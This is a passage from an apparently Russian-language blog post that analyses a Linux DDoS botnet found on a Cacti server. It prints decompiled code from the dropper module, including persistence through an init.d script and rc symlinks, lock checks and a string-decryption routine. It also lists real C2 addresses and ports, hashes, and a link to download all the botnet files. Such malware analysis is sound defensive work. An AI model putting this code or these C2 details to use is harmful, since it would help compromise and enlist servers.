.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-mysql.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-oci8.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-postgres.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-sapdb.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-sybase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-access.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado5.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado_access.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado_mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-borland_ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-csv.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-db2.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-fbsql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-firebird.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-informix.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-informix72.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ldap.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mssqlpo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysqli.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysqlt.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-netezza.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci8.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci805.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci8po.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc_mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc_oracle.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbtp.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbtp_unicode.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oracle.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-pdo.inc.php
```

```
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres64.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres7.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-proxy.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sapdb.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlanywhere.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlite.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlitepo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sybase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-vfp.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ar.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-bg.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-bgutf8.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ca.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-cn.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-cz.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-de.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-en.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-es.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-fr.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-hu.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-it.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-nl.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-pl.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-pt-br.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ro.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ru1251.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-sv.inc.php
.M.......    /usr/share/cacti/lib/adodb/license.txt
.M.......    /usr/share/cacti/lib/adodb/toexport.inc.php
.M.......    /usr/share/cacti/lib/adodb/tohtml.inc.php
.M.......    /usr/share/cacti/lib/api_automation_tools.php
.M.......    /usr/share/cacti/lib/api_data_source.php
.M.......    /usr/share/cacti/lib/api_device.php
.M.......    /usr/share/cacti/lib/api_graph.php
.M.......    /usr/share/cacti/lib/api_poller.php
.M.......    /usr/share/cacti/lib/api_tree.php
.M.......    /usr/share/cacti/lib/auth.php
.M.......    /usr/share/cacti/lib/cdef.php
.M.......    /usr/share/cacti/lib/data_query.php
.M.......    /usr/share/cacti/lib/database.php
.M.......    /usr/share/cacti/lib/export.php
.M.......    /usr/share/cacti/lib/functions.php
.M.......    /usr/share/cacti/lib/graph_export.php
.M.......    /usr/share/cacti/lib/graph_variables.php
.M.......    /usr/share/cacti/lib/html.php
```

```
.M.......    /usr/share/cacti/lib/html_form.php
.M.......    /usr/share/cacti/lib/html_form_template.php
.M.......    /usr/share/cacti/lib/html_tree.php
.M.......    /usr/share/cacti/lib/html_utility.php
.M.......    /usr/share/cacti/lib/html_validate.php
.M.......    /usr/share/cacti/lib/import.php
.M.......    /usr/share/cacti/lib/ldap.php
.M.......    /usr/share/cacti/lib/ping.php
.M.......    /usr/share/cacti/lib/plugins.php
.M.......    /usr/share/cacti/lib/poller.php
.M.......    /usr/share/cacti/lib/rrd.php
.M.......    /usr/share/cacti/lib/snmp.php
.M.......    /usr/share/cacti/lib/sort.php
.M.......    /usr/share/cacti/lib/template.php
.M.......    /usr/share/cacti/lib/time.php
.M.......    /usr/share/cacti/lib/timespan_settings.php
.M.......    /usr/share/cacti/lib/tree.php
.M.......    /usr/share/cacti/lib/utility.php
.M.......    /usr/share/cacti/lib/variables.php
.M.......    /usr/share/cacti/lib/xml.php
.M.......    /usr/share/cacti/logout.php
.M.......    /usr/share/cacti/plugins
.M.......    /usr/share/cacti/plugins.php
.M.......    /usr/share/cacti/plugins/index.php
.M.......    /usr/share/cacti/poller.php
.M.......    /usr/share/cacti/poller_commands.php
.M.......    /usr/share/cacti/poller_export.php
.M.......    /usr/share/cacti/resource
.M.......    /usr/share/cacti/resource/script_queries
.M.......    /usr/share/cacti/resource/script_queries/host_cpu.xml
.M.......    /usr/share/cacti/resource/script_queries/host_disk.xml
.M.......    /usr/share/cacti/resource/script_queries/unix_disk.xml
.M.......    /usr/share/cacti/resource/script_server
.M.......    /usr/share/cacti/resource/script_server/host_cpu.xml
.M.......    /usr/share/cacti/resource/script_server/host_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries
.M.......    /usr/share/cacti/resource/snmp_queries/host_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries/interface.xml
.M.......    /usr/share/cacti/resource/snmp_queries/kbridge.xml
.M.......    /usr/share/cacti/resource/snmp_queries/net-snmp_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries/netware_cpu.xml
.M.......    /usr/share/cacti/resource/snmp_queries/netware_disk.xml
.M.......    /usr/share/cacti/rra.php
.M.......    /usr/share/cacti/script_server.php
.M.......    /usr/share/cacti/settings.php
.M.......    /usr/share/cacti/templates_export.php
.M.......    /usr/share/cacti/templates_import.php
```

```
.M.......    /usr/share/cacti/tree.php
.M.......    /usr/share/cacti/user_admin.php
.M.......    /usr/share/cacti/utilities.php
.M.......    /var/lib/cacti
.M.......    /var/lib/cacti/cli
.M.......    /var/lib/cacti/cli/add_data_query.php
.M.......    /var/lib/cacti/cli/add_device.php
.M.......    /var/lib/cacti/cli/add_graph_template.php
.M.......    /var/lib/cacti/cli/add_graphs.php
.M.......    /var/lib/cacti/cli/add_perms.php
.M.......    /var/lib/cacti/cli/add_tree.php
.M.......    /var/lib/cacti/cli/analyze_database.php
.M.......    /var/lib/cacti/cli/convert_innodb.php
.M.......    /var/lib/cacti/cli/copy_user.php
.M.......    /var/lib/cacti/cli/data_template_associate_rra.php
.M.......    /var/lib/cacti/cli/host_update_template.php
.M.......    /var/lib/cacti/cli/import_template.php
.M.......    /var/lib/cacti/cli/poller_data_sources_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_graphs_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_output_empty.php
.M.......    /var/lib/cacti/cli/poller_reindex_hosts.php
.M.......    /var/lib/cacti/cli/rebuild_poller_cache.php
.M.......    /var/lib/cacti/cli/reorder_data_query.php
.M.......    /var/lib/cacti/cli/repair_database.php
.M.......    /var/lib/cacti/cli/repair_templates.php
.M.......    /var/lib/cacti/cli/structure_rra_paths.php
.M.......    /var/lib/cacti/cli/upgrade_database.php
.M.......    /var/lib/cacti/rra
.M.......    /var/lib/cacti/scripts
.M.......    /var/lib/cacti/scripts/3com_cable_modem.pl
.M.......    /var/lib/cacti/scripts/diskfree.pl
.M.......    /var/lib/cacti/scripts/diskfree.sh
.M.......    /var/lib/cacti/scripts/linux_memory.pl
.M.......    /var/lib/cacti/scripts/loadavg.pl
.M.......    /var/lib/cacti/scripts/loadavg_multi.pl
.M.......    /var/lib/cacti/scripts/ping.pl
.M.......    /var/lib/cacti/scripts/query_host_cpu.php
.M.......    /var/lib/cacti/scripts/query_host_partitions.php
.M.......    /var/lib/cacti/scripts/query_unix_partitions.pl
.M.......    /var/lib/cacti/scripts/sql.php
.M.......    /var/lib/cacti/scripts/ss_fping.php
.M.......    /var/lib/cacti/scripts/ss_host_cpu.php
.M.......    /var/lib/cacti/scripts/ss_host_disk.php
.M.......    /var/lib/cacti/scripts/ss_sql.php
.M.......    /var/lib/cacti/scripts/unix_processes.pl
.M.......    /var/lib/cacti/scripts/unix_tcp_connections.pl
.M.......    /var/lib/cacti/scripts/unix_users.pl
```

```
.M.......   /var/lib/cacti/scripts/weatherbug.pl
.M.......   /var/lib/cacti/scripts/webhits.pl
S.5....T.   /var/log/cacti/cacti.log
S.5....T.  c /etc/ntop.conf
.......T.  c /etc/avahi/hosts
S.5....T.  c /etc/netatalk/AppleVolumes.default
S.5....T.  c /etc/netatalk/afpd.conf
S.5....T.  c /etc/netatalk/netatalk.conf
S.5....T.  c /etc/httpd/conf.d/nagios.conf
S.5....T.  c /etc/nagios/nagios.cfg
S.5....T.  c /etc/nagios/objects/commands.cfg
S.5....T.  c /etc/nagios/objects/localhost.cfg
S.5....T.  c /etc/sysconfig/ntpd
S.5....T.  c /etc/profile
SM5..UGT.  c /etc/snmp/snmpd.conf
S.5....T.  c /etc/sysconfig/iptables-config
.......T.  c /etc/avahi/avahi-dnsconfd.action
S.5....T.  c /etc/dnsmasq.conf
```

Это означает, что никакие системные файлы не были изменены. Т.к. процессы в системе не были скрыты, я предположил, что никаких руткитов здесь не использовалось и можно с некоторой уверенностью сказать, что система чиста.

Поиск информации о ботнете

Первым делом я начал искать какую-то информацию об этом ботнете, ища по имени домена, имени файлов и строкам из crontab.
Некоторая информация сразу же нашлась:
My home PC has been 0wn3d :(@ forums.debian.net
What do sapd, skysapd, sksapd, and ksapd do? @ askubuntu.com
I Got Myself Hacked @ hackervisions.org
Suspected rootkit @ archlinuxarm.org

В целом, ничего интересного или нового.

Исследование файлов ботнета

Первым делом, я воспользовался программой **file**, чтобы узнать побольше об этим исполняемых файлах:

```
 atddd:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
cupsdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
cupsddh:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
ksapdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
kysapdd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
```

```
skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
xfsdxd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
```

Not stripped! Вот так новость!

Мне почему-то понравился файл cupsdd, и я первым делом загрузил его, а не atddd. Сам не знаю почему, но это было совершенно правильно.

Gates

Итак, **cupsdd** — модуль «Gates». md5 **603170ad361f6e098c8681ed264155eb**, sha1 **1714fd31cc931e2a0eb97d25a076567af45dc6d8**

Что же он делает, и почему он «Gates»? Ну, на это нам ответит IDA Pro, например.

```
int __cdecl main()
{
  void *v0; // esp@1

  v0 = alloca(16);
  CSysTool::SelfInit();
  CSysTool::SelfInstall(0);
  if ( !(unsigned __int8)(daemon(1, 0) >> 31) )
  {
    if ( (unsigned __int8)CSysTool::IsGatesExist() )
      exit(0);
    if ( g_iIsService == 1 )
      CUtility::SetAutoStart((int)"DbSecuritySpt", 97);
    MainProcess();
  }
  return 0;
}
```

```
signed int __cdecl CSysTool::IsGatesExist()
{
  size_t v0; // ebx@11
  void *v1; // eax@11
  int v2; // eax@11
  int v3; // eax@12
  pid_t v4; // eax@12
  int v5; // eax@16
  signed int v7; // [sp+Ch] [bp-ACh]@3
  int addr; // [sp+10h] [bp-A8h]@8
  size_t len; // [sp+3Ch] [bp-7Ch]@10
  char v10; // [sp+90h] [bp-28h]@11
  char v11; // [sp+9Eh] [bp-1Ah]@11
  char v12; // [sp+9Fh] [bp-19h]@11
  int fd; // [sp+A0h] [bp-18h]@2
  int v14; // [sp+A4h] [bp-14h]@8
  unsigned __int8 v15; // [sp+AAh] [bp-Eh]@1
  unsigned __int8 v16; // [sp+ABh] [bp-Dh]@7
  int v17; // [sp+ACh] [bp-Ch]@11

  v15 = CFileOp::FileExists("/tmp/gates.lock");
  if ( v15 ^ 1 )
  {
    fd = open("/tmp/gates.lock", 192, 0x1EDu);
    if ( fd <= 0 )
      return 1;
```

Что же делает этот модуль?

- Пытается инициализировать себя

Распаковывает RSA-данные, в моем случае это была строка:

```
116.10.189.246:30000:1:1:h:578856:579372:579888
```

Переменные из которой назначаются следующим образом:

```
 g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_strNStart=579888
```

Последние три параметра нужны для определения трех RSA-строк в случае обновления модулей.

Скрытый текст

```
std::string::string(&something_decrypted);
std::allocator<char>::allocator();
std::string::string(
  &key1,
  "5F1E29B3C6D0F0DCB909E91C1639F1FBDE3C70159B49386B81397386F9E3117996B2368D72E4C
  &v24);
std::allocator<char>::_allocator(&v24);
std::allocator<char>::allocator();
std::string::string(
  &key2,
  "A9EA3EA8E500AEBAA810A4681FC2C6283E682906B6F00AEAEC8A168CFBBE83442814EF068C0C1
  &v25);
std::allocator<char>::_allocator(&v25);
std::allocator<char>::allocator();
std::string::string(
  &key3,
  "B82B4CC4791409B3A7A71D9293700136DE2CD2A61C42DA4D5C7E7EEF75868782C049D7D3CDD52
  &v26);
std::allocator<char>::_allocator(&v26);
if ( (unsigned __int8)std::string::empty(&key1) ^ 1 )
{
  CRSA::Decrypt((int)&something_decrypted, (int)&key1, (int)&key2, (int)&key3);
```

- Пытается установить модуль «Bill»

Проверяет, не запущен ли уже он, путем бинда порта 10808. Если удалось забиндить — не запущен. Если нет, то убиваем процесс, PID которого хранится в lock-файле в /tmp/bill.lock
Находит путь, где хранится текущий exe, путем чтения /proc/%d/exe, выделяет путь, добавляет 'BillTail', расшифрованного из пункта 1 (в моем случае был 'h'), открывает его на запись и записывает туда файл, начиная со смещения 0xB1728 размером 335872.
Форкается и запускает новый файл.

Скрытый текст

```
int __cdecl CSysTool::SelfInstall(char a1)
{
  signed int v1; // eax@1
  int result; // eax@2

  v1 = CSysTool::IsBillExist();
  if ( (_BYTE)v1 )
  {
    LOBYTE(v1) = a1;
    result = v1 ^ 1;
    if ( (_BYTE)result )
    {
      CSysTool::KillBill();
      result = CSysTool::ReleaseAndStartBill();
    }
  }
  else
  {
    result = CSysTool::ReleaseAndStartBill();
  }
  return result;
}
```

- Вызывает функцию daemon(), которая ребиндит текущие stdin, stdout и stderr на /dev/null
- Проверяет, запущен ли он сам (модуль «Gates») путем проверки файла /tmp/gates.lock. Если запущен, то Gates завершается.

- Добавляет распакованный модуль «Bill» в автозагрузку sysvinit путем создания наипростейшего init-скрипта в /etc/init.d/ с названием «DbSecuritySpt» вида:

```
 #!/bin/bash
/path/to/bill
```

И создает симлинки в /etc/rc[1-5].d/97DbSecuritySpt на него.

Скрытый текст

```
std::string::string(&exepath);
CUtility::GetModuleFullPath(&exepath);
if ( (unsigned __int8)std::string::empty(&exepath) )
{
  v5 = 0;
}
else
{
  CUtility::Sleep(1000);
  std::allocator<char>::allocator();
  std::string::string(&v11, "/etc/init.d/", &initdpath);
  std::operator_<char_std::char_traits<char>_std::allocator<char>>(&v9);
  std::string::_string(&v11);
  std::allocator<char>::_allocator(&initdpath);
  initserv = (char *)std::string::c_str(&v9);
  fd = open(initserv, 578, 0x1EDu);
  if ( fd > 0 )
  {
    memcpy(&addr, CUtility::SetAutoStart_char__const__int_::C_63, 256);
    v3 = std::string::c_str(&exepath);
    sprintf(&addr, "#!/bin/bash\n%s\n", v3);
    write(fd, &addr, strlen(&addr));
    close(fd);
    for ( i = 0; i <= 4; ++i )
    {
      memcpy(&v7, CUtility::SetAutoStart_char__const__int_::C_64, 256);
      memcpy(&pathname, CUtility::SetAutoStart_char__const__int_::C_65, 256);
      sprintf(&pathname, "/etc/rc%d.d/S%d%s", i + 1, serviceparam, servicename);
      if ( access(&pathname, 0) != 0 )
      {
        sprintf(&v7, "ln -s /etc/init.d/%s %s", servicename, &pathname);
        system(&v7);
      }
    }
    v5 = 1;
  }
```

- Запускается функция MainProcess()

Читает основную информацию о системе, процессоре, оперативной памяти, сетевых картах, винчестерах.

Скрытый текст

```
void __cdecl MainProcess()
{
  int v0; // ST20_4@1

  CConfigDoing::Initialize(g_cnfgDoing);
  CCmdDoing::Initialize(g_cmdDoing);
  CStatBase::Initialize(g_statBase);
  v0 = operator new(980);
  CManager::CManager(v0);
  g_pManager = v0;
  if ( v0 )
    CManager::Initialize(g_pManager);
  ssignal(9, KillHandler);
  while ( 1 )
    CUtility::Sleep(60000);
}
```

Bill

Модуль «Bill» — DDoS модуль. Запакован UPX. В моем случае назывался "**cupsddh**", md5 **7fb3dce23d290166c7e52644b16faae6**, sha1 **98db5a311118c78d97aa514db7d8277535544926**

- Умеет атаковать хосты по TCP, UDP, ICMP и методом DNS-амплификации. Умеет ограничивать себя в ресурсах CPU, переконфигурироваться на лету, самообновляться.
- Читает основную информацию о системе, процессоре, оперативной памяти, сетевых картах, винчестерах.
- Читает информацию о DNS.
- Делает system(«insmod /usr/lib/xpacket.ko»)
- При самообновлении пишет себя в /usr/lib/libamplify.so

Начинает слушать 127.0.0.1:10808. Может получать как конфиг от главного модуля, так и команды на атаку.

«Стучащий» модуль

Файл **ksapdd** — какой-то модуль, который отправляет статистику и информацию на главные сервера. Сервер и порт зашиты в программу. В моем случае, это были 121.12.110.96:10991, которые элементарно декодируются:

Скрытый текст

```
memcpy(&v4, CServerIP::Initialize_void_::C_48, 256);
memcpy(&v3, CServerIP::Initialize_void_::C_49, 256);
CUtility::DeCrypt((int)&v4, 255, (int)"212-21/02//87", 39);
CUtility::DeCrypt((int)&v3, 255, (int)"2/:82", 10);
```

```
char __cdecl CUtility::DeCrypt(int buf, int staticinp, int crypteddata, int maxi)
{
  char result; // al@6
  int i; // [sp+Ch] [bp-4h]@1

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= maxi )
      break;
    result = i;
    if ( i >= staticinp )
      break;
    result = *(_BYTE *)(crypteddata + i);
    if ( !result )
      break;
    if ( i & 1 )
      *(_BYTE *)(buf + i) = *(_BYTE *)(crypteddata + i) + 1;
    else
      *(_BYTE *)(buf + i) = *(_BYTE *)(crypteddata + i) - 1;
  }
  return result;
}
```

Файлы **kysapdd**, **skysapdd**, **xfsdxd** и **atddd** являются копиями **ksapdd**, но первый подключается к 112.90.252.76:10991, второй к 112.90.22.197:10991, третий к 116.10.189.246:10991, а четвертый — к 202.103.178.76:10991

Заключение

Ну вот и все. Получилось несколько поверхностно, но управляющие серверы в упор не хотят отдавать команды моим экземплярам, и ничего не происходит. Берегите свои серверы.

rghost.ru/52680741 — здесь все файлы ботнета.
